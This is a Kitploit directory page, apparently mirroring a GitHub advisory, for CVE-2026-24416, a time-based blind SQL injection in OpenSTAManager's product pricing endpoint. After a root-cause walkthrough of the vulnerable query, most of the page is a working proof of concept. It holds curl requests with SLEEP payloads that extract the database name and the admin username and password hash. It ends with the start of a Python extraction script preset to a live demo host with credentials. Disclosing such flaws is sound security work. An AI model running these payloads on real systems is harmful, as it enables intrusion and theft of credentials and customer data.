Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-24416 — CVE-2026-24416 - OpenSTAManager 的商品定价模块存在基于时间的盲SQL注入漏洞。 | Kitploit
工具/GitHubGitHub/lukasz-rybak/cve-2026-24416
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHublukasz-rybak/cve-2026-24416

CVE-2026-24416

CVE-2026-24416 - OpenSTAManager 的商品定价模块存在基于时间的盲SQL注入漏洞。

查看仓库
35个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-24416:OpenSTAManager 产品定价模块存在基于时间的盲 SQL 注入漏洞

概述

字段详细信息
CVE 编号CVE-2026-24416
严重性高危
安全公告查看安全公告
发现者Lukasz Rybak

受影响产品

  • devcode-it/openstamanager(版本:<= 2.9.8)

CWE 分类

  • CWE-89: 未正确中和 SQL 命令中使用的特殊元素('SQL 注入')

详细信息

摘要

OpenSTAManager v2.9.8 的产品定价模块中存在严重的基于时间的盲 SQL 注入漏洞,允许已认证的攻击者通过基于时间的布尔推断攻击提取完整数据库内容,包括用户凭据、客户数据和财务记录。

状态: ✅ 已在实时实例(v2.9.8)和 demo.osmbusiness.it(v2.9.7)上确认并测试 存在漏洞的参数: idarticolo(GET) 受影响的端点: /ajax_complete.php?op=getprezzi 受影响的模块: Articoli(商品/产品)

详细信息

OpenSTAManager v2.9.8 在产品定价自动补全处理程序中存在严重的基于时间的盲 SQL 注入漏洞。该应用程序未能在 SQL 查询中使用 idarticolo 参数之前对其进行正确清理,从而使攻击者能够注入任意 SQL 命令,并通过基于时间的布尔推断提取敏感数据。

漏洞链:

  1. 入口点: /ajax_complete.php(第 27 行)

    $op = get('op');
    $result = AJAX::complete($op);
    

    op 参数被获取,但漏洞存在于其他参数中。

  2. 分发: /src/AJAX.php::complete()(第 189 行)

    $result = self::getCompleteResults($file, $resource);
    
  3. 执行: /src/AJAX.php::getCompleteResults()(第 402 行)

    require $file;
    

    包含了模块特定的 complete.php 文件。

  4. 存在漏洞的参数: /modules/articoli/ajax/complete.php(第 26 行)

    $idarticolo = get('idarticolo');
    

    idarticolo 参数从 GET 请求中获取。

  5. 存在漏洞的 SQL 查询: /modules/articoli/ajax/complete.php(第 70 行)主要漏洞

    FROM
        `dt_righe_ddt`
        INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
        INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
    WHERE
        `idarticolo`='.$idarticolo.' AND
        `dt_tipiddt`.`dir`="entrata" AND
        `idanagrafica`='.prepare($idanagrafica).'
    

    影响: $idarticolo 被直接拼接且未使用 prepare(),而 $idanagrafica 已正确清理。

上下文 - 完整查询结构(第 39-74 行):

该存在漏洞的查询是 UNION 查询的一部分,用于从发票和交货单中获取价格历史记录:

$documenti = $dbo->fetchArray('
    SELECT
        `iddocumento` AS id,
        "Fattura" AS tipo,
        "Fatture di vendita" AS modulo,
        (`subtotale`-`sconto`)/`qta` AS costo_unitario,
        ...
    FROM
        `co_righe_documenti`
        INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`
        INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`
    WHERE
        `idarticolo`='.prepare($idarticolo).' AND ...  # ✓ PROPERLY SANITIZED (Line 54)
UNION
    SELECT
        `idddt` AS id,
        "Ddt" AS tipo,
        ...
    FROM
        `dt_righe_ddt`
        INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
        INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
    WHERE
        `idarticolo`='.$idarticolo.' AND   # ✗ VULNERABLE - NO prepare() (Line 70)
        `dt_tipiddt`.`dir`="entrata" AND
        `idanagrafica`='.prepare($idanagrafica).'
ORDER BY
    `id` DESC LIMIT 0,5');

根本原因: 开发人员在第一个 SELECT(第 54 行)中正确使用了 prepare(),但在 UNION 查询的第二个 SELECT(第 70 行)中忘记使用它,从而形成了不一致的安全模式。

概念验证(PoC)

步骤 1:登录

curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

步骤 2:验证漏洞(基于时间的 SLEEP)

# Test with SLEEP(10)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \
  > /dev/null
# Result: real 0m10.32s (10.32 seconds)

# Test with SLEEP(3) - should take ~3 seconds
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \
  > /dev/null
# Result: real 0m3.36s (3.36 seconds)

# Test without SLEEP
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \
  > /dev/null
# Result: real 0m0.31s (0.31 seconds)
图片

步骤 3:数据提取 - 数据库名称

# Extract first character of database name
# Test if first char is 'o' (expected: TRUE for 'openstamanager')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.34s (SLEEP executed - condition TRUE)

# Test if first char is 'x' (expected: FALSE)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m0.31s (SLEEP not executed - condition FALSE)

# Extract second character (expected: 'p')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.34s (SLEEP executed - confirms second char is 'p')

# Extract first 3 characters (expected: 'ope')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms 'ope...')

步骤 4:提取敏感数据 - 管理员凭据

# Extract admin username (test if first 5 chars are 'admin')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms admin username)

# Extract first character of password hash (expected: '$' for bcrypt)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms bcrypt hash format)

载荷说明:

Original payload: 1 AND SUBSTRING(DATABASE(),1,1)='o' AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
URL-encoded: 1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)

Injection breakdown:
1. 1 - Valid article ID
2. AND SUBSTRING(DATABASE(),1,1)='o' - Boolean condition to test
3. AND (SELECT 1 FROM (SELECT(SLEEP(2)))a) - Execute SLEEP(2) if condition is true

SQL Query Result:
WHERE
    `idarticolo`=1
    AND SUBSTRING(DATABASE(),1,1)='o'
    AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
    AND `dt_tipiddt`.`dir`="entrata"
    AND `idanagrafica`=1

自动化提取脚本示例:

import requests
import time
import string
import sys

# Default Configuration
BASE_URL = "https://demo.osmbusiness.it"
USERNAME = "demo"
PASSWORD = "demodemo1"
SLEEP_TIME = 3  # Increased to 3s for stability on remote demo instance
下载工具